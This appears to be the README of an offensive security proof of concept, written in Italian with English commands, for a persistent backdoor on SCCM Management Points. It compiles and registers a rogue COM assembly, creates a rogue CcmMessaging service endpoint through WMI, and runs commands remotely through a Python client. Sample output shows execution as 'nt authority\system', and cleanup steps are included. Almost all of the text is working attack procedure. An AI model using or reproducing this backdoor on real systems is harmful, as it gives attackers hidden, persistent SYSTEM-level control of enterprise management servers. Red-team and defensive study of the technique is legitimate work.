
Backdoor proof-of-concept per SCCM Management Point che utilizza un servizio COM rogue per l'esecuzione remota persistente di comandi come SYSTEM.
Strumenti proof of concept per creare e installare un servizio CcmMessaging non autorizzato per mantenere l'accesso a un Management Point
# Compile
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /t:library /out:c:\rogue.dll RogueCcmEndpoint.cs
# Register CLSID
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe /codebase c:\rogue.dll
PS C:\> ./wmi_create_rogue_service_endpoint.ps1
$ python3 ccmmessaging_backdoor_client.py -t https://mp.corp.local -s MP_Backdoor 'whoami'
[...]
<BackdoorResponse>nt authority\system
</BackdoorResponse>
# Unregister CLSID
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe /unregister c:\rogue.dll
PS C:\> ./wmi_remove_rogue_service_endpoint.ps1